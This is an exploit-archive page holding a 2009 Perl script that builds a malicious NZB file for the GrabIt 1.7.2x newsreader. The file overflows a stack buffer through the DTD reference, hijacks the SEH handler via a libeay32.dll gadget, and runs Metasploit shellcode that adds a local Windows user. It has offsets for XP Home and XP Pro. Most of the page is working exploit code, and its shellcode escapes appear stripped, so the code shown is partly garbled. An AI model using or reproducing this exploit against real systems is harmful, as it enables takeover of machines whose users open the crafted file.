[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : GrabIt 1.7.2x NZB DTD Reference Buffer Overflow Exploit
# Published : 2009-05-07
# Author : Jeremy Brown
# Previous Title : Mini-stream RM-MP3 Converter 3.0.0.7 .ASX File Local BOF Exploit
# Next Title : Sorinara Streaming Audio Player 0.9 (.PLA) Stack Overflow Exploit


#!/usr/bin/perl
# theroadoutsidemyhouseispavedwithgoodintentions.pl
# AKA
# GrabIt 1.7.2x NZB DTD Reference Buffer Overflow Exploit
# BY
# Jeremy Brown [0xjbrown41@gmail.com] 05.07.2009
# ***********************************************************************************************************
# It seems I couldn't gather my resources quickly enough before the first exploit came out.. and it came as
# no surprise that it was a disappointment like so many others out there. I personally used to use this
# newsgroup program all the time, usenet is a nice service :) GrabIt is great-- Kudos to Shemes for sure.
# ***********************************************************************************************************
# After reading the advisory then debugging, I found the bug is a fairly standard hit and run stack overflow..
# we can overwrite SEH like a dream, so sadly this one may turn into malware rather quickly.. uh oh. Advice
# at the moment shall be.. update GrabIt quickly, like right now!
# ***********************************************************************************************************
#                libeay32.dll
#
# 1001A384   5B               POP EBX
# 1001A385   5D               POP EBP
# 1001A386   C3               RETN
#
# This exploit has been successfully tested in the following environments...
#
# Windows XP Home SP3 -> GrabIt 1.7.2b3 (GrabIt172b3.exe)
#                        GrabIt 1.7.2b2 (GrabIt172b2.exe)
#                        GrabIt 1.7.2b  (GrabIt172b.exe)
#
# Windows XP Pro SP3  -> GrabIt 1.7.2b3 (GrabIt172b3.exe)
#                        GrabIt 1.7.2b2 (GrabIt172b2.exe)
#                        GrabIt 1.7.2b  (GrabIt172b.exe)
#
# ***********************************************************************************************************
# BRONBRONGOTMVP: The Houston and LA series is heating up! I got the Lakers in 6 :D
# ***********************************************************************************************************
# theroadoutsidemyhouseispavedwithgoodintentions.pl

$nextsehh = 0x909006EB; # jmp 6
$sehh     = 0x1001A384; # pop, pop, ret @ libeay32.dll

# win32_adduser -  PASS=face EXITFUNC=process USER=smiley Size=236 Encoder=PexFnstenvSub http://metasploit.com
$sc = "x31xc9x83xe9xcbxd9xeexd9x74x24xf4x5bx81x73x13xe8".
      "x5bxc1xe6x83xebxfcxe2xf4x14xb3x85xe6xe8x5bx4axa3".
      "xd4xd0xbdxe3x90x5ax2ex6dxa7x43x4axb9xc8x5ax2axaf".
      "x63x6fx4axe7x06x6ax01x7fx44xdfx01x92xefx9ax0bxeb".
      "xe9x99x2ax12xd3x0fxe5xe2x9dxbex4axb9xccx5ax2ax80".
      "x63x57x8ax6dxb7x47xc0x0dx63x47x4axe7x03xd2x9dxc2".
      "xecx98xf0x26x8cxd0x81xd6x6dx9bxb9xeax63x1bxcdx6d".
      "x98x47x6cx6dx80x53x2axefx63xdbx71xe6xe8x5bx4ax8e".
      "xd4x04xf0x10x88x0dx48x1ex6bx9bxbaxb6x80x25x19x04".
      "x9bx33x59x18x62x55x96x19x0fx38xacx82xc6x3exb9x83".
      "xc8x74xa2xc6x86x3exb5xc6x9dx28xa4x94xc8x28xacx8f".
      "x84x3exb8xc6x8ex3axa2x83xc8x74x80xa2xacx7bxe7xc0".
      "xc8x35xa4x92xc8x37xaex85x89x37xa6x94x87x2exb1xc6".
      "xa9x3fxacx8fx86x32xb2x92x9ax3axb5x89x9ax28xe1x95".
      "x85x32xadx83x91x7bxeexa7xacx1fxc1xe6";

$filename = $ARGV[0];
$target   = $ARGV[1];

     print "n            GrabIt 1.7.2x NZB DTD Reference Buffer Overflow Exploit";
     print "n                     Jeremy Brown [0xjbrown41@gmail.com]n";

if((!defined($filename) || !defined($target)))
{

     print "nUsage: $0 pwn.nzb <target>n";
     print "nTargets: [1] Windows XP Homen         [2] Windows XP Pronn";
     exit;

}

$nextseh = pack('l', $nextsehh);
$seh     = pack('l', $sehh);
$nop     = "x90";

$nzb1 = "<?xml version="1.0" encoding="utf-8" ?>n";
$nzb2 = "<!DOCTYPE nzb PUBLIC "YOUKNOWTHEWORDS,SOSINGALONGFORMEBABY" "";

# Lets get nice and comfortable
if($target == "1") { $payload = $nzb1 . $nzb2 . $nop x 248 . $nextseh . $seh . $nop x 32 . $sc . "">"; }
if($target == "2") { $payload = $nzb1 . $nzb2 . $nop x 251 . $nextseh . $seh . $nop x 32 . $sc . "">"; }

     open(FILE, ">", $filename) or die("nError: Can't write to $filename! Exploit stopped");
     print FILE $payload;
     close(FILE);

     print "nExploit NZB "$filename" successfully created.nn";
     exit;

# www.Syue.com [2009-05-07]